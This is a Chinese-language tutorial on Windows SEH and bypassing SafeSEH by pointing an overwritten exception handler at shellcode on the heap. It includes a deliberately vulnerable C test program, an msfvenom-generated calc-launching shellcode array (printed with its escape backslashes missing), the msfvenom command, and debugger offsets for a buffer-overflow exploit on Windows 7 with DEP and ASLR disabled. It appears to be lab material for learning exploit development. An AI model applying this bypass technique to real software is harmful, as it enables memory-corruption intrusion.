1.1 SafeSEH内存保护机制
1.1.1 Windows异常处理机制
Windows中主要两种异常处理机制,Windows异常处理(VEH、SEH)和C++异常处理。Windows异常处理结构未公开的,包含向量化结构异常VEH及结构化异常处理SEH。由操作系统提供的服务,当一个线程出现错误时,操作系统调用用户定义的一个回调函数_exept_handler。回调函数接收到操作系统传递过来的许多有价值的信息,例如异常的类型和发生的地址。使用这些信息,异常回调函数就能决定下一步做什么。
C++异常处理是C++语言的特性,在Windows平台上由系统提供支持。
Windows异常处理顺序流程
l 终止当前程序的执行
l 调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)
l 执行VEH
l 执行SEH
l TopLevelEH(进程被调试时不会被执行)
l 执行VEH
l 交给调试器(上面的异常处理都说处理不了,就再次交给调试器)
l 调用异常端口通知csrss.exe
1.1.2 SafeSEH工作原理
异常处理链(SEH)结构在通过SHE链绕过/GS中已经介绍过了,这里接直接说safeSEH了,
i. SafeSEH工作流程:
ii. RtlIsVaildHandler() 函数校验流程:
1.1.3 SafeSEH绕过思路
那么有3种情况,系统可以允许异常处理函数执行:
1、异常处理函数位于加载模块内存范围之外,DEP关闭
2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(ILonly标识,若有这个标志说明该程序只包含.NET编译人中间语言)。
3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中。
可以看到,我们突破SafeSEH的方法分为3种
1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行
3、针对情况3,可以有两种思路,一种是清空safeSEH表,造成该模块为启用safeSEH的假象,二是将我们的指令注入到safeSEH表,但是safeSEH在内存中是加密存放的,突破的难度很大。
额外的思路(更简单的思路)?
1、 覆盖返回地址或者虚表(但是,限制条件很大,如果函数启用了/GS保护机制,且没有虚函数,那么,这种方法就不能使用了)。
2、 利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。
1.1.4 从堆中绕过safeSEH
⑴. 原理分析:
利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。
⑵.环境准备:
i.测试代码如下:
#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"xbexe8x88x3cxfdxd9xd0xd9x74x24xf4x5ax33xc9xb1"
"x30x31x72x13x03x72x13x83xeax14x6axc9x01x0cxe9"
"x32xfaxccx8exbbx1fxfdx8exd8x54xadx3exaax39x41"
"xb4xfexa9xd2xb8xd6xdex53x76x01xd0x64x2bx71x73"
"xe6x36xa6x53xd7xf8xbbx92x10xe4x36xc6xc9x62xe4"
"xf7x7ex3ex35x73xccxaex3dx60x84xd1x6cx37x9fx8b"
"xaexb9x4cxa0xe6xa1x91x8dxb1x5ax61x79x40x8bxb8"
"x82xefxf2x75x71xf1x33xb1x6ax84x4dxc2x17x9fx89"
"xb9xc3x2ax0ax19x87x8dxf6x98x44x4bx7cx96x21x1f"
"xdaxbaxb4xccx50xc6x3dxf3xb6x4fx05xd0x12x14xdd"
"x79x02xf0xb0x86x54x5bx6cx23x1ex71x79x5ex7dx1f"
"x7cxecxfbx6dx7exeex03xc1x17xdfx88x8ex60xe0x5a"
"xebx9fxaaxc7x5dx08x73x92xdcx55x84x48x22x60x07"
"x79xdax97x17x08xdfxdcx9fxe0xadx4dx4ax07x02x6d"
"x5fx64xc5xfdx03x6b"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x38x2Cx56x00"//address of shellcode in heap
;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main(){
char * buf=(char *)malloc(500);
//__asm int 3
strcpy(buf,shellcode);
test(shellcode);
}
将shellcode复制到堆区,在溢出后,用shellcode在堆区的地址溢出到异常处理函数,在test函数中引发除零异常。异常处理函数接管程序,即,shellcode在此时接管程序。
ii.编译属性设置:
关闭DEP,ASLR保护机制,/GS保护机制没有影响。
iii.测试系统和编译器:
测试系统:Windows 7 32位
编译器: Visual studio 2008
⑶.调试分析:
在main函数中,堆指针为[ebp-0x4],shellcode的指针为[ebp-0x8],而ebp = 0x0012ff44。
所以堆指针的地址 = 0x0012ff40,shellcode的指针 = 0x0012ff3c。
查看堆栈:
看到shellcode地址 = 0x00403018,堆的起始地址 = 0x005812e8
执行到test函数:
Shellcode参数入栈,0x0012ff2c。
Eip:0x0012ff28,ebp:0x0012ff24,cookie^ebp:0x0012ff1c,并通过对strcpy函数的分析发现,0x0012ff54是缓冲区开始的地址。
⑷.攻击过程:
i.确定shellcode大小:
攻击思路是:将异常处理函数的指针换成在堆中的shellcode的指针,那么要确定shellcode的大小就要知道异常处理函数的指针在栈中的地址和缓冲区开始的地址,从缓冲区开始,已知覆盖到异常处理函数的指针。
查看SEH链:
SEH链指针在0x0012FF78,那么异常处理函数指针位于0x0012ff7c,又由(3)知缓冲区的起始地址是0x0012fe54。
所以缓冲区大小 = 0x0012ff78 – 0x0012fe54 + 0x4(指针大小) = 300(字节)。
ii.生成恶意代码(弹出计算器):
这里的恶意代码可以用msfconsole生成:
msfvenom -p windows/exec cmd=calc -b 'x00' -f c
生成长度为216字节的恶意代码。
iii.设计shellcode:
由i的分析可知,shellcode的结构应如下所示:
iv.实施攻击:
程序运行到test函数中的strcpy函数运行结束,
可以看到异常处理函数的指针已经被换成了我们的分配的堆的起始地址,
分配的堆中也已经复制到了shellcode。
接着运行程序,应该就能直接弹出计算器来吧?
???失败?
为什么?
因为,堆在内存中是动态分配的,每次运行,系统分配的堆地址都是不同的,所以,应当在程序运行到分配堆之后,将shellcode中的堆地址,改成此次运行系统所分配的堆的地址,如下图所示:
之后运行程序:
成功弹框。